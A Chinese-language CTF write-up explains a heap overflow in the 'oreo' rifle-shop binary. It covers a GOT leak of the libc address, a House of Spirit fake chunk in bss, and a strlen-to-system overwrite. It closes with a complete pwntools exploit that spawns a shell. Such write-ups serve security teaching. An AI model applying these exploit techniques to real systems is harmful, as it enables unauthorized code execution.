功能

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
Welcome to the OREO Original Rifle Ecommerce Online System!

,______________________________________
|_________________,----------._ [____] -,__ __....-----=====
(_(||||||||||||)___________/ |
`----------' OREO [ ))"-, |
"" `, _,--....___ |
`/ """"

What would you like to do?

1. Add new rifle //利用malloc分配chunk,保存rifle->name和rifle->Description
2. Show added rifles //显示所有rifle->name
3. Order selected rifles //free所有chunk
4. Leave a Message with your Order //向bss段的指针写入输入的内容。
5. Show current stats
6. Exit!

checksec:

1
2
3
4
5
Arch:     i386-32-little
RELRO: No RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)

解题思路

发现没有RELRO,所以GOT可写,然后IDA内没有发现system,所以想要反弹shell,先要泄露libc地址才行。

漏洞在哪?

这是add函数,head表示最新分配的chunk,head->next指向先前分配的chunk,相当于一个单向链表。head->name和head->next相邻,所以可以通过溢出进行修改。

这是show_rifles()函数

它通过head->next遍历堆的链表,打印所有的name和description。
利用思路就是,我们通过head->name将head->next覆盖成某个GOT地址,那么再调用该函数,就能泄露libc地址。

1
2
3
4
5
6
7
8
9
10
11
12
payload = 'A' * 27 + p32(0x804a234)  #printf.got
add('a'*25,payload)

#打印printf.got中的libc地址。
show_rifle()
p.recvuntil('===================================\n')
p.recvuntil('Description: ')
puts_addr =u32(p.recv(4).ljust(4,'\x00'))

#计算system
libc_base = puts_addr - libc.symbols['printf']
system_addr = libc_base + libc.symbols['system']

泄露好地址后,我们还需要能修改GOT地址才行,通过分析其他函数,发现message函数中,notice是一个指针,在bss段上(0x0804A2A8),我们通过House Of Spirit技术,将堆劫持到这个位置,将该指针修改成,got地址,这样再调用message就能修改成system了。

House Of Spirit:

首先要伪造好fake_chunk,但是必须有合法的size值和nextsize才行。

可以发现,每添加一个chunk,该数字就会+1,该数字正好位于notice指针的前面,所以我们添加0x40个chunk,就能构造一个合法的fake_chunk的size,然后nextsize也需要利用message函数写入为合法大小。

另外需要注意的是,分配的这40个chunk,其head->next 必须是NULL,否则free的时候会free掉大量的chunk。

1
2
3
4
5
6
7
8
9
#将size构造成0x41
i = 0x3F
while i> 0:
add(25*'A','B'*27+p32(0x0))
i -= 1

#构造好nextsize 为100,即0x64,这个只要大小符合检查范围就行。
payload = 'a'*(0x20-4)+'\x00'*4 + 'a'*4 + p32(100)
message(payload)

然后我们还需要再添加一个新的chunk,将head->next指向这个位置(0x0804A2A8),这样free后再分配出来,就将heap劫持到了该指针位置。

1
2
3
4
5
payload2 = 'A' *27 +p32(0x0804A2A8)
add('aaa',payload2)

#free
order()

system

都free掉后,fastbins中保存了bss的地址。

我们再将它分配出来,并将notice指针处,覆盖为strlen的got地址。

1
add(p32(0x804a250),p32(0x0))

最后修改message将strlen修改为system。

1
2
payload = p32(system_addr) + ';/bin/sh'
message(payload)

为什么要修改strlen呢?这和message的实现有关

在fgets过后,会调用cut_enter,strlen已经是system了,而传入的a1就是notice,已经被我们改成了p32(system_addr) + ‘;/bin/sh’

这样就相当于 system(p32(system_addr);/bin/sh)
由于有分号的原因,会变成两条:
system(p32(system_addr))
system(‘/bin/sh’)

总结

  1. 修改head->next打印libc地址,从而计算出system。
  2. 利用House Of Spirit将堆劫持到bss。
  3. 修改bss指针为strlen.got
  4. 将system写入strlen.got

完整exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
from pwn import *

p = process("./oreo")
libc = ELF('libc.so.6')


def add(descrip, name):
p.sendline('1')
p.sendline(name)
p.sendline(descrip)


def show_rifle():
p.sendline('2')
p.recvuntil('===================================\n')


def order():
p.sendline('3')

def message(notice):
p.sendline('4')
p.sendline(notice)


#head->next == printf.got
payload = 'A' * 27 + p32(0x804a234)
add('a'*25,payload)

#打印printf.got
show_rifle()

#计算system
p.recvuntil('===================================\n')
p.recvuntil('Description: ')
puts_addr =u32(p.recv(4).ljust(4,'\x00'))
libc_base = puts_addr - libc.symbols['printf']
system_addr = libc_base + libc.symbols['system']

#将size修改为0x40
i = 0x3F
while i> 0:
add(25*'A','B'*27+p32(0x0))
i -= 1

#修改nextsize
payload = 'a'*(0x20-4)+'\x00'*4 + 'a'*4 + p32(100)
message(payload)

#head->next改成bss,并将其free。
payload2 = 'A' *27 +p32(0x0804A2A8)
add('aaa',payload2)
order()

#system
add(p32(0x804a250),p32(0x0))
payload = p32(system_addr) + ';/bin/sh'
message(payload)

p.interactive()